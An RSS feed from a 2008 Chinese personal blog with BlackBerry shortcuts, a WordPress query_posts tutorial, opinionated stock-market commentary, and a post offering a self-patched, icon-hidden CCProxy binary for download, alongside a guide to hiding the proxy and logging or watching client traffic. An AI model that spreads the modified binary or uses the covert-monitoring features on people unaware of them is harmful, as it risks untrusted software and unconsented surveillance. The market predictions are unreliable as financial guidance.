<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RobaYの乱七八糟の日记 &#187; 隐藏</title>
	<atom:link href="http://www.a-boss.com/tag/%e9%9a%90%e8%97%8f/feed" rel="self" type="application/rss+xml" />
	<link>http://www.a-boss.com</link>
	<description>东篱把酒黄昏后，有暗香盈袖！</description>
	<lastBuildDate>Tue, 03 Jan 2012 10:07:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>商务黑莓7130快捷方式大放送(全!!!)</title>
		<link>http://www.a-boss.com/2008/11/17/%e5%95%86%e5%8a%a1%e9%bb%91%e8%8e%937130%e5%bf%ab%e6%8d%b7%e6%96%b9%e5%bc%8f%e5%a4%a7%e6%94%be%e9%80%81%e5%85%a8.html</link>
		<comments>http://www.a-boss.com/2008/11/17/%e5%95%86%e5%8a%a1%e9%bb%91%e8%8e%937130%e5%bf%ab%e6%8d%b7%e6%96%b9%e5%bc%8f%e5%a4%a7%e6%94%be%e9%80%81%e5%85%a8.html#comments</comments>
		<pubDate>Mon, 17 Nov 2008 11:23:03 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[技术相关]]></category>
		<category><![CDATA[回复]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[娱乐]]></category>
		<category><![CDATA[日历]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[车]]></category>
		<category><![CDATA[隐藏]]></category>
		<category><![CDATA[黑莓]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/?p=778</guid>
		<description><![CDATA[黑莓7130到手了，做工确实很精细，声音很大很清脆，通话质量也很好，最喜欢的是它的显示屏，在强光下也依旧表示出色，功能上还是商务多些，娱乐性也就是有几个游戏，可我还不爱玩，从... ]]></description>
			<content:encoded><![CDATA[<p>黑莓7130到手了，做工确实很精细，声音很大很清脆，通话质量也很好，最喜欢的是它的显示屏，在强光下也依旧表示出色，功能上还是商务多些，娱乐性也就是有几个游戏，可我还不爱玩，从易用性上来说，真要好好研究下才行，毕竟它的操作理念和我曾经接触过的都不相同。所有的操作基本上全在那个小轮上，真是有点心疼它，所以找了点快捷方式，节省下小轮的使用，也方便日常应用！</p>
<p><span id="more-778"></span></p>
<p>桌面状态下<br />
按住ALT再按LGLG，进入LOG，可以选择清除，来释放内存。</p>
<p>按住alt+滚轮垂直按下，将出现隐藏图标、移动图标选项，<br />
你如果已经将一些图标隐藏，将还会有显示所有图标显示。你将可以确定拿下图标是你经常用到的,隐藏不常用的，在需要的时候通过显示所有图标的选项在进行查 看。被隐藏的图标这时候将会带有“叉”，在你再次进入该菜单时，将显示所有图标前的钩取掉，这些图标将再次进入不可见的状态。</p>
<p>按住alt+esc将出现后台程序窗口。类似在windows中经常使用的alt+tab，松开esc并保持按住alt，就可以使用滚轮在数个后台程序间切换，松开alt时将激活该项程序。</p>
<p>按住alt使用滚轮，滚轮的运动方向将由水平变为垂直。</p>
<p>使你的信号强度显示成为数字<br />
在桌面下按住alt并输入nmll<br />
信号强度与信号柱状图间的对比关系</p>
<p>dBm 信号强度&#8212;&#8212;&#8212;&#8212;-柱状图显示<br />
-40 to-77 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;5<br />
-78 to-86 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;4<br />
-87 to-92 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;3<br />
-93 to-101&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-2<br />
-102 to-120&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;1</p>
<p>长按发射键，进入通讯录<br />
长按1为进入语音信箱。<br />
长按*为锁住键盘<br />
长按#为切换模式<br />
长按其它某一字母键，将会出现设置单键拨号的窗口。如已设好则自动拨该键已设好的号码。</p>
<p>ALT+回车选择输入法语言</p>
<p>通话状态下<br />
OP：  免提<br />
QW：  静音<br />
esc： 按ESC可以选择运行其它程序，通话不受影响</p>
<p>信息状态下<br />
QW：  回复短信<br />
ER：   最上一条<br />
CV：   最下一条<br />
DF：   往前一天<br />
JK：   往后一天<br />
TY：  上一条<br />
BN：  下一条<br />
UI：   当页最上一条（再按为上一页）<br />
M ：   当页最下一条（再按为下一页，同0）<br />
OP：  光标停在信息上为编写SMS<br />
L  ：   编写消息（不同于信息SMS）<br />
GH：  光标在信息上时为打开信息（同回车）<br />
光标在日期上时为编写Email<br />
* ：   查看未读信息<br />
DEL:   删除（不要砸偶哟）</p>
<p>日历状态下<br />
周和月显示状态下有效<br />
QW：  今日<br />
DF：  前一天<br />
JK：  下一天<br />
TY：  垂直向上（同*）<br />
BN：  垂直向下<br />
GH：  打开当日（周显示下为新建约会）<br />
UI：  上一月（周显示下为上一周）<br />
M ：  下一月（周显示下为下一周）<br />
OP：  新建约会</p>
<p>其它选择技巧（铃声举例）<br />
进入模式编辑下选一项（比如电话编辑）<br />
在可选的选项下按ALT会显示所有选项（同滚轮后的更改选项）<br />
按0为循环选择<br />
有数字选择的可直接按数字（比如鸣叫次数，可按1、2、3变换）</p>
<p>*号为下一个。</p>
<p>图片库下<br />
回车： 打开图片<br />
EQ ：  放大<br />
CV ：  缩小<br />
UI ：  上一张<br />
M  ：  下一张<br />
图片放大后<br />
DF ：  向右移动<br />
JK ：  向左移动<br />
TY ： 向下移动<br />
BN ：  向上移动<br />
DEL：  删除（哈哈，又砸？）</p>
<p>其它：<br />
在输入状态下： 长按一个字母会从小定切换到大写<br />
如QW键，想选择大写的W，就按两下QW键，第二次的时候为小的W了，别放，<br />
看到了，切换到了大写。（启用双击）</p>
<p>接听电话键和挂短电话的中间按钮可设置一个快捷方式<br />
设置步骤:选项&#8212;&#8212;屏幕/键盘&#8212;&#8212;最后一个”快捷键打开”&#8212;&#8212;选择要设置的程序</p>
<p>就这么多了,可能还不全,有时间再慢慢细细的找找,也希望有知道更多的XD能放出来大家一同分享,是一种乐趣,也是心疼滚轮的最好的办法,说的没错吧,这样用习惯了,滚轮就可以增加几倍的使用寿命了.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/11/17/%e5%95%86%e5%8a%a1%e9%bb%91%e8%8e%937130%e5%bf%ab%e6%8d%b7%e6%96%b9%e5%bc%8f%e5%a4%a7%e6%94%be%e9%80%81%e5%85%a8.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>文章质疑（query posts）创建自己的专属分类页面</title>
		<link>http://www.a-boss.com/2008/09/06/%e6%96%87%e7%ab%a0%e8%b4%a8%e7%96%91%ef%bc%88query-posts%ef%bc%89%e5%88%9b%e5%bb%ba%e8%87%aa%e5%b7%b1%e7%9a%84%e4%b8%93%e5%b1%9e%e5%88%86%e7%b1%bb%e9%a1%b5%e9%9d%a2.html</link>
		<comments>http://www.a-boss.com/2008/09/06/%e6%96%87%e7%ab%a0%e8%b4%a8%e7%96%91%ef%bc%88query-posts%ef%bc%89%e5%88%9b%e5%bb%ba%e8%87%aa%e5%b7%b1%e7%9a%84%e4%b8%93%e5%b1%9e%e5%88%86%e7%b1%bb%e9%a1%b5%e9%9d%a2.html#comments</comments>
		<pubDate>Sat, 06 Sep 2008 03:53:11 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[技术相关]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[介绍]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[分页插件]]></category>
		<category><![CDATA[复制]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[文章质疑]]></category>
		<category><![CDATA[模板]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=263</guid>
		<description><![CDATA[可能真的是力不从心吧?实在是没有动力再去研究wordpress的PHP结构,想建一个专属的分类页面,都要在google上找现成的,真是体会到了天下文章一大抄！ 其实明白了道理后，是个很简单的工作，却费... ]]></description>
			<content:encoded><![CDATA[<p>可能真的是力不从心吧?实在是没有动力再去研究wordpress的PHP结构,想建一个专属的分类页面,都要在google上找现成的,真是体会到了天下文章一大抄！</p>
<p>其实明白了道理后，是个很简单的工作，却费了我不小的时间。简单介绍一下：</p>
<p><span id="more-263"></span></p>
<p>从一篇教程上看这个原理是叫”文章质疑”，我是第一次知道这个名词，也不知道到底是不是应该翻译或解释，暂且就这样用吧先！</p>
<blockquote><p>文章质疑（query posts）并不是WordPress中一个很难理解的技巧，简单说就是只让站内首页显示某几个分类的文章。</p>
<p>做法：在index.php文件中找出这句：</p>
<p><code>&lt;?php while (have_posts()) : the_post(); ?&gt;</code></p>
<p>在其<span style="color: #ff0000;">上方</span>添加质疑语句：</p>
<p><code>&lt;?php<br />
if (is_home())  {<br />
query_posts("cat=-3&amp;showposts=5");<br />
}<br />
?&gt;</code></p>
<p>上面语句中的<code>cat=-3</code>代表的是把分类ID为3的文章去掉。如果写成<code>cat=3</code>，没有负号在前，就表示只显示分类ID为3的文章，大家注意这个负号的意思。如果需要去掉多个类别，请用英文逗号分隔，如写成<code>cat=-3,-4</code>；如果只需要显示几个类别，写成<code>cat=3,4</code>则可。</p>
<p>另外<code>showposts=5</code>代表的是显示5篇文章，这个数字大家可以自己更改。</p>
<p>通过上面的方法，基本可以满足大家对首页只显示指定文章功能的实现。这里还有要注意的是这个方法的页面中<span style="color: #ff0000;">分页功能不能</span>。解决办法是，把上面文章质疑的语句稍作更改如下：</p>
<p><code>&lt;?php$limit = get_option('posts_per_page');$paged =  (get_query_var('paged')) ? get_query_var('paged') :  1;query_posts('cat=-1&amp;showposts=' . $limit=5 . '&amp;paged=' .  $paged);$wp_query-&gt;is_archive = true; $wp_query-&gt;is_home =  false;?&gt;</code></p>
<p>其中我们把限制文章显示数改为变量调用：<code>$limit=5</code>，修改这里的数字则可。这样就能继续正常使用类似page-navi，page-bar的WordPress分页插件了。</p></blockquote>
<blockquote><p>当你利用<code>query_posts("cat=-3&amp;showposts=5")</code>这样的代码去除分类3的文章时，你也可以利用<code>query_posts("cat=3&amp;showposts=5")</code>这代码只显示分类3的文章。所以，我们新建一个页面模板，譬如命名为your-special-page.php。利用文本编辑器编辑该文件，在其开头加上：<br />
<code><br />
&lt;?php<br />
/*<br />
Template  Name: Your special Page<br />
*/<br />
?&gt;</code></p>
<p>注意，这段代码必须要有，虽然看起来像注释，但确实在声明模板名称，等下创建页面时要用到，很奇怪php里居然可以这样子使用注释代码。这位老兄就是因为误以为是注释而浪费了很多时间。</p>
<p>如果你想简单点的话，就在上面代码后直接把index.php内的文件内容复制进去，但要注意，我们需要在下面这一句：</p>
<p><code>&lt;?php while ( have_posts() ) : the_post() ?&gt;</code></p>
<p>的前面增加如下代码：</p>
<p><code>&lt;?php<br />
$limit = get_option('posts_per_page');<br />
$paged =  (get_query_var('paged')) ? get_query_var('paged') :  1;<br />
query_posts('cat=3&amp;showposts=' . $limit=5 . '&amp;paged=' .  $paged);<br />
$wp_query-&gt;is_archive = true; $wp_query-&gt;is_home =  false;<br />
?&gt;</code></p>
<p>这样，我们就能让其只显示分类ID为3的文章内容。</p>
<p>接着我们把这个your-special-page.php文件上传到WordPress主题模板目录内。然后我们在后台新建一个页面，名称自定，内容为空，但必需注意在页面模板一栏选择“Your  special Page”，然后选择发布，你便能实现在该页面显示自己选定的分类文章。</p>
<p>另外在这里顺带补充一下对文章内容显示控制的几点：</p>
<p>1. 如果你已经在首页中隐藏了某些分类的文章，同时你也想在WordPress的分类列表中隐藏那些分类，可以用<code>&lt;?php  wp_list_categories('exclude=4,7');  ?&gt;</code>这个调用代码，例子中的是在分类列表中去除ID为4和7的分类；</p>
<p>2. 如果再进一步，你想在你的feed中去除那些隐藏的分类文章。这里有一个简单的办法，就是在主题目录下的functions.php中添加如下代码：</p>
<p><code>function my_cat_exclude($query) {<br />
if ($query-&gt;is_feed)  {<br />
$query-&gt;set('cat','-20,-21,-22');<br />
}<br />
return  $query;<br />
}<br />
add_filter('pre_get_posts','my_cat_exclude');</code></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/09/06/%e6%96%87%e7%ab%a0%e8%b4%a8%e7%96%91%ef%bc%88query-posts%ef%bc%89%e5%88%9b%e5%bb%ba%e8%87%aa%e5%b7%b1%e7%9a%84%e4%b8%93%e5%b1%9e%e5%88%86%e7%b1%bb%e9%a1%b5%e9%9d%a2.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>2008-07-23 股评：</title>
		<link>http://www.a-boss.com/2008/09/05/2008-07-23-%e8%82%a1%e8%af%84%ef%bc%9a.html</link>
		<comments>http://www.a-boss.com/2008/09/05/2008-07-23-%e8%82%a1%e8%af%84%ef%bc%9a.html#comments</comments>
		<pubDate>Fri, 05 Sep 2008 11:17:35 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[股票黄金]]></category>
		<category><![CDATA[奥运]]></category>
		<category><![CDATA[空间]]></category>
		<category><![CDATA[股票]]></category>
		<category><![CDATA[车]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=258</guid>
		<description><![CDATA[2008-07-23 股评： 市场本身就是主力和散户筹码互换的问题，主力如何借势，如何抓住散户的心理波动间隙，这构成了股市实质本质，并不是什么所谓的价值投资！！！ 股市历程近二十年，到现... ]]></description>
			<content:encoded><![CDATA[<p>2008-07-23 股评：</p>
<p>市场本身就是主力和散户筹码互换的问题，主力如何借势，如何抓住散户的心理波动间隙，这构成了股市实质本质，并不是什么所谓的价值投资！！！</p>
<p>股市历程近二十年，到现在为止，我还是没发现可投资的个股，每个股票还是充斥着价值投机，而大家所熟悉的600519也是子公司，并不是整体母公司上市， 所以他的问题还没显现，而走了几年的牛股600309.600009现在看来越来越弱了，呵呵~~~难道本身短短的一年就让公司基本面发生了这么大的变 化，我想不是这些变化而是主力的问题，但所有这些都是表面现象，追述到根本,还是国家监管没有一定的法规，使这些个股有些是夸大的,有些是被隐藏的！而这 些时间差就是被市场主力所发掘和利用，哈哈~~其实政府才是最大的黑嘴，最大利益化的庄，而那些报刊所谓的权威人士也好，股评也罢机构等等，无论什么时候 还是如难民一样，期待政府出什么所谓的利好政策！！！</p>
<p>股市和期货有些相似，都是对远期一种预盼，这就决定在这个市场里的每个投资者都要针对盘中的变化来作出预盼，这是改变不了的事实。</p>
<p>呵呵~~这就是利益分配原则，很少上市公司希望采用整体上市，除非必须得到融资，而无办法情况下，子公司、母公司如何互相勾结，互相倒账，这些是那些喜欢 玩资本的主力所喜欢的，这也是这些主力如何和上市公司勾结的根本。整体上市的公司也是主力最后希望上市公司打出的最后一张牌，而大家看到了000100第 一家整体上市的公司，现在无论是公司，还是操作的主力机构都是举步维艰。</p>
<p>还有，目前国内公司（成长性）和国外，正作出相反的举动，哈哈~~~国外优秀上市公司大多采取的是大量回购流通股从而注销，这是优良公司采取的做法，但你 们看看我们国内，哪个不都是争先恐后的去增发再增发！！！还有，国内在没有法规监管上市公司分红制度下，你说增发再增发和公司本身有关吗？？？国外就不同 哪个公司也不希望利润都分给那些股民投资者，所以他们大多都采取回购注销，这是通常做法。</p>
<p>大家不都在讨论国内是否存在价值投资吗！！！我可以告诉大家，什么时候政府出了关于监管上市公司强制性分红并制定相关法律时，那么真正价值投资才会出现， 君不见亚洲最赚钱的公司中石油是如何分红的，你们自己去算一下，无论万科还是那些耳闻的绩优股这些年是怎么分红的？？？你们自己去算一下，再和我讨论价值 投资！！！</p>
<p>其实你们大家都想错了，就如我也是一样，希望国内股市出现价值投资，从中我们就不会这么累了，天天研究盘面，天天观测大盘，很怕不小心掉到庄家主力的陷阱 里，唉~~~我也希望很轻松的享受国家经济高增长所带来的收益，但这一切都是我美好的愿望和幻想！！！国家和某些人的利益集团能希望看着到这个情况 吗？？？我想不能，所以我还是从中做一个在利益集团夹缝中生存的一个小散！！！</p>
<p>如果国内股市什么时候出现了，唉~~~可能像我这样的人呵呵~~~都得失业了！！！</p>
<p>在奥运前，主力通过大盘股、权重股适时地减缓大盘下跌的步伐，从中不难看出主力的无奈，大小非的重压，国内外不确定因素等等，这些给主力机构们的操作蒙上 一片悲观影子，而盘中的游资往往抓住主力机构们的间隙不时做出一些局部热点，而出货却得到机构们的帮助（大盘股启动），而主力们的无奈在金融和地产体现的 淋漓尽致，无奈之举！</p>
<p>而现在，针对大小非的问题，国家已给出了明确意见，就是股改没有失败，只是散户所认为是失败罢了，而消化这些沉重的筹码这需要时间和空间，我以前指出了： 这一回大盘的调整才是世纪大调整，这也是A股重新洗牌重新走出一个大牛市的机会，一旦不会在媒体上关于出现什么大小非的话题，那么底部区域也就不远了，而 现在从盘中所显现的特征，底部早呢！！！</p>
<p>XX,为什么沃华这几日表现弱呢,422却很强,能指点下吗？</p>
<p>现在这两个股都有共同点，如何在大盘这轮反弹中能除去一部分资金，但是弱势中的强势股都有做个后遗症，就是盘口重，也就是主力每天都要保持高换手来保持股 性活跃，但很累！！！这也是在大盘反弹中这类抗跌股的涨幅不大的原因，早在大盘跌破3000反弹时，当时的中原环保，创业环保就是这个类型，主力在大盘下 跌还得保持高换手，大盘反弹时还得出去一部分货，所以盘面显现的很累，但最后无一不是来深跌而弥补抗跌的后果！早在大盘跌到4600点反弹到5500点， 当时的竣工和电子信息类个股也是这样！！！</p>
<p>其实股票本身就是个筹码收集发散的过程，还有主力判断大盘下跌空间后，所对自己所持有的个股筹码做出短期中长期一种配置（资金，筹码），而散户只是肤浅的看着走势，技术指标，而忽略了整个盘面趋势的把握。这也是我多让你们从盘面的特征多问个为什么的原因！！！</p>
<p>昏昏欲睡的行情只靠几个大盘股来调控指数，而前期的游资所操作的个股却有资金出的迹象，现在就这点成交量无论是大盘股还是小盘股都不能改变近期场外资金观望的态度！</p>
<p>盘面的静悄悄也预示了场外资金的不作为，而大家所讨论的头肩底现在看来这个肩有些先天不足！！！没有成交量是个塌肩！</p>
<p>也不知道最近这些喜爱做短线的收获如何？？？是不忘国家去交税了还是自己刀口舔血成功，可能现在的盘面让大家昏昏欲睡吧！</p>
<p>哈哈~~~想起当初到处都是令人期待2008，十年黄金牛市的起点等等，哈哈哈~~~却成了水中的月亮，唉~~~还是想怎么如何抓住时机去享受下一个牛市盛宴吧！哈哈~~我这个人不贪，我不喜好鱼头鱼尾通吃，我只吃鱼身俱可！哈哈~~~</p>
<p>说实话，我很难在对基金怎么评判了，但我要说的是对于国外成熟市场中一只基金净值增长大多符合增长率之略高于债券和储蓄利率，但是你们看我们国内基金们的 表现，哈哈~~如过山车般，就连当初华尔街神童的亚裔离开中国时，只说了一句话–看不懂看不懂，我们国内股市发生的奇迹也不是一件两件了，如果把民生银行 那个四个半月就清盘的基金算上，那么还有什么不能发生的！</p>
<p>还有现在很多人都在庆幸自己去年配置的基金要多于股票，基金的亏损要远远小于股票，哈哈哈~~我告诉你们这些怀有幻想的人，不要急，基金跌幅还早着呢！！！会让你看见让你大吃一惊的时候！！！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/09/05/2008-07-23-%e8%82%a1%e8%af%84%ef%bc%9a.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CCProxy 6.61 绿色去图标版!</title>
		<link>http://www.a-boss.com/2008/07/17/ccproxy-661-%e7%bb%bf%e8%89%b2%e5%8e%bb%e5%9b%be%e6%a0%87%e7%89%88.html</link>
		<comments>http://www.a-boss.com/2008/07/17/ccproxy-661-%e7%bb%bf%e8%89%b2%e5%8e%bb%e5%9b%be%e6%a0%87%e7%89%88.html#comments</comments>
		<pubDate>Thu, 17 Jul 2008 10:59:33 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[技术相关]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[CCProxy]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[介绍]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[广告]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[测试]]></category>
		<category><![CDATA[破解]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[空格]]></category>
		<category><![CDATA[空间]]></category>
		<category><![CDATA[绑定]]></category>
		<category><![CDATA[记录]]></category>
		<category><![CDATA[资源]]></category>
		<category><![CDATA[车]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=161</guid>
		<description><![CDATA[不知道什么原因，一直用着的6.0突然不能用了，想再安装一遍时才发现，硬盘里的安装程序不知道什么时候已经没有了。 没办法只好架网再下载一个了，才发现居然已经升级到6.61版了，而且还... ]]></description>
			<content:encoded><![CDATA[<p>不知道什么原因，一直用着的6.0突然不能用了，想再安装一遍时才发现，硬盘里的安装程序不知道什么时候已经没有了。</p>
<p>没办法只好架网再下载一个了，才发现居然已经升级到6.61版了，而且还是绿色版的，兴致勃勃的下载下来，设置好参数，却怎么找不到隐藏的选项了？</p>
<p>原来取消这个功能了！真是晕人！</p>
<p>我不是黑客，但也不喜欢右下键的图标有它在那放着，碍眼！自己干掉它！</p>
<p>原理其实挺简单的，只占用了我不到一个小时的中午时间就搞定了。整个世界清静了！</p>
<p><a href="http://www.a-boss.com/wp-content/uploads/2008/07/ccproxy.jpg"><img class="aligncenter size-full wp-image-162" src="http://www.a-boss.com/wp-content/uploads/2008/07/ccproxy.jpg" alt="" width="500" height="345" /></a></p>
<p>可惜我的blog空间不能下载文件，否则就传上来了。有需要的联系我吧！</p>
<p>终于换成功可以下载的空间了，提供本地下载：</p>
<p><a href="http://www.a-boss.com/soft/CCProxy6.61_RobaY.rar" target="_blank">http://www.a-boss.com/soft/CCProxy6.61_RobaY去图标绿色版.rar</a></p>
<p>需要说明一点的是：如果设置了自动隐藏功能，你将不能看到程序界面，需要更新ccproxy.ini中的autohide=0保存后即可！</p>
<p><span id="more-161"></span></p>
<p><span style="#ff0000;">再转一篇关于这个程序的一些功能介绍，个别功能在新版本下已经失效！</span></p>
<p>CCProxy高级功能介绍- -</p>
<blockquote><p>代理服务器CCProxy开发了大量针对网络管理员的高级功能，下面的介绍只是关于高级功能的说明和对应的参数设置。 所有参数在修改保存后，都需要重新启动CCProxy。</p>
<p>怎样修改帐号管理所支持的帐号数</p>
<p>默认值是300。对应CCProxy.ini里的MaxUserCount。</p>
<p>怎样修改时间安排的支持数目</p>
<p>默认值是20。对应CCProxy.ini里的MaxTimeSchedule。</p>
<p>怎样修改网站过滤的支持数目</p>
<p>默认值是20。对应CCProxy.ini里的MaxWebFilter。</p>
<p>怎样修改CCProxy的同时在线支持数目</p>
<p>默认值是300。对应CCProxy.ini里的MaxConnection。</p>
<p>怎样拦截进出代理服务器的所有数据</p>
<p>本功能原来是方便用户反馈程序错误用的。在主界面上，按住Ctrl键，双击”0/0&#8243;。所有拦截的数据都保存到C:\log.dat。最多保存256K数据。此功能影响代理服务器速度，需即时关闭。对应CCProxy.ini里的BugTrace。</p>
<p>怎样在线检查CCProxy最新版本</p>
<p>此功能不会将您的电脑的任何信息发送给遥志软件，请放心使用。<br />
双击主界面上的U字母。</p>
<p>怎样修改界面的连接数曲线(绿色)的显示高度和流量带宽曲线(黄色)显示高度?</p>
<p>在界面上单击鼠标右键,在弹出的窗口中修改度默认是300和256，如图。</p>
<p>怎样调出Windows任务管理器?</p>
<p>双击主界面上的0/0。</p>
<p>怎样知道所运行的CCProxy的发布时间</p>
<p>双击主界面上的时间数字。</p>
<p>怎样快速进到CCProxy安装目录</p>
<p>按着Ctrl键，双击主界面上的时间数字。</p>
<p>怎样知道今天的农历日期</p>
<p>按着Shift键，双击主界面上的时间数字。</p>
<p>怎样实现启动CCProxy时自动拨号和关闭CCProxy时自动断线</p>
<p>对应CCProxy.ini里的DialWhenStartup和DisconnectWhenShutdown。将值设成1时，表示打开这个功能。在使用此功能前，要设置好代理服务器的拨号选项。</p>
<p>怎样让服务器拨号闲置时自动断网并关机</p>
<p>此功能由黑龙江天衣有缝提出。首先要设置好拨号闲置自动断开功能，然后将CCProxy.ini里的<br />
ShutDownWhenIdle=1。</p>
<p>怎样实现定时关机</p>
<p>CCProxy.ini<br />
[ShutDown]<br />
Enable=1<br />
Time=20:00<br />
表示20:00关机</p>
<p>CCProxy.ini<br />
[ShutDown]<br />
Enable=1<br />
Time=05:05<br />
表示05:05关机</p>
<p>此功能最好在CCProxy NT服务方式下运行，这样CCProxy可以获得更高的权限来关闭电脑</p>
<p>怎样修改网站过滤服务器返回的字符串</p>
<p>CCProxy.ini里的<br />
WebSiteForbidden对应站点过滤服务器返回的字符串。注意，要保留%s。WebContentForbidden对应内容过滤服务器返回的字符串。<br />
如果WebSiteForbidden里填写的是一个文件绝对路径名，那么服务器会读取该文件来作为过滤网站返回信息。如：WebSiteForbidden=c:\alert.htm。<br />
如果WebContentForbidden里填写的是一个文件绝对路径名，那么服务器会读取该文件来作为内容过滤返回信息。如：WebSiteForbidden=c:\alert.htm。</p>
<p>怎样修改网页身份认证里的字符串</p>
<p>CCProxy.ini里的<br />
WebAuthTitle对应认证对话框里的字符串“CCProxy Authorization”。AuthorityFailed对应认证失败后服务器返回的字符串。</p>
<p>怎样实现验证失败时显示指定的htm文件?</p>
<p>CCProxy.ini里的<br />
AuthorityFailed里输入htm文件的绝对地址。例如:AuthorityFailed=f:\1.htm,表示显示F盘根目录下的1.htm文件。</p>
<p>怎样实现帐号排序?</p>
<p>“帐号管理”→ 点击”用户名”、”IP地址”、”MAC地址”、”连接数”任一字段名即可按所选字段名排序，连续点击则分别按”降序”、”升序”分别排列。如图。确定后，将按照排序结果保存帐号。</p>
<p>怎样实现远程拨号?</p>
<p>1) 在服务器上手工建立一个拨号连接，并且测试一下这个拨号连接是否有效。<br />
2) “设置”-&gt; 选择”远程拨号”。<br />
3) “设置”-&gt;”高级”-&gt;”拨号”：在”拨号列表”中选择 1)中建立的拨号连接。在”拨号用户名”、”拨号密码”里填上正确的上网帐号信息。<br />
4) 在帐号管理中编辑或新增用户，并选择允许该用户”远程拨号”。<br />
5) 客户端的浏览器首先要设置好HTTP代理服务。然后在浏览器中输入 http://ccproxy.connect 就可以拨号了，如果客户端使用 http://ccproxy.connect.电话号码.用户名.密码，则用指定的电话号码和用户帐号信息拨号。<br />
6) 断开拨号网络连接则在浏览器中输入 http://ccproxy.disconnect</p>
<p>怎样实现通过客户端使服务器自动拨号?</p>
<p>1)”设置”-&gt; 选择”远程拨号”。<br />
2)”设置”-&gt;”高级”-&gt;”拨号”-&gt; 选择”允许自动拨号”，然后在相应代理协议前打勾。<br />
3)”帐号”-&gt; 编辑或新建帐号 -&gt; 选择”远程拨号”。<br />
这样，只要被允许的客户端使用被允许的协议（HTTP/FTP/TELNET等）就可以实现服务器自动拨号功能。</p>
<p>怎样实现隐藏任务栏图标 ?<br />
编辑ccproxy.ini，在 [System] 下增加一行Allhide=1。去掉这一行则显示图标。<br />
或：”设置”-&gt;”高级”-&gt;”其他”：选择”隐藏所有”。<br />
若要重新显示主界面，只需再运行一次CCProxy即可（CCProxy自动判断，不会在同一个目录下启动多个进程）。</p>
<p>怎样使用热键激活界面?</p>
<p>编辑CCProxy目录下的CCProxy.ini，把EnableHotKey=0改为1，然后保存文件并重启CCProxy软件。以后当软件隐藏后，只要按下”CTRL+ALT+C”，界面会重新显示。详细设置&gt;&gt;</p>
<p>怎样实现管理员密码控制?</p>
<p>“设置”-&gt;”高级”-&gt;”其他”：选择”密码保护”，然后在相应的密码框中输入密码。这样每次修改设置、增加或编辑帐号、退出程序都必须输入正确密码方可。<br />
若需要每次启动时必须输入密码则再选择”启动时需要密码”。建议一般情况下不选择。</p>
<p>怎样让客户端显示广告条?</p>
<p>这是一个相当有趣的功能，最初由上海复旦大学Hyne提出。<br />
默认状态是关闭。对应CCProxy.ini里的AddMessage。AddMessage=1，表示开放广告条功能。同时在CCProxy运行目录下写一个addmessage.htm文件(小于4096字节)，当然这个文件的编写很要技巧。<br />
提供两个非常经典的例子：ads1.zip(Hyne提供) ads2.zip(testa提供) 欢迎提供更多好的例子。<br />
另外,可以在界面中按住shift双击0/0,在弹出的对话框中选择,如图。</p>
<p>怎样往客户端发送信息?</p>
<p>客户端如果是Win98，要求已经运行了windows目录下的WINPOPUP.EXE。如果是Win2000/NT，则系统已经自带了消息接收功能。选中需要发信息的帐号点击右键，在第一个编辑框里输入接收者的机器名，第二个编辑框里输入要发送的文字，点击确定就可以发送信息到客户端了。如果上面的对话框里输入的是”*”号，可以发送到局域网里的任何一台机器。</p>
<p>怎样实时观测客户端访问内容(网站)以及客户端连接数和流量?</p>
<p>双击主界面绿色网格即可，并且双击左上角的”当前连接信息”左边那个图标，可以切换观察状态。</p>
<p>怎样实现流量统计和计费?</p>
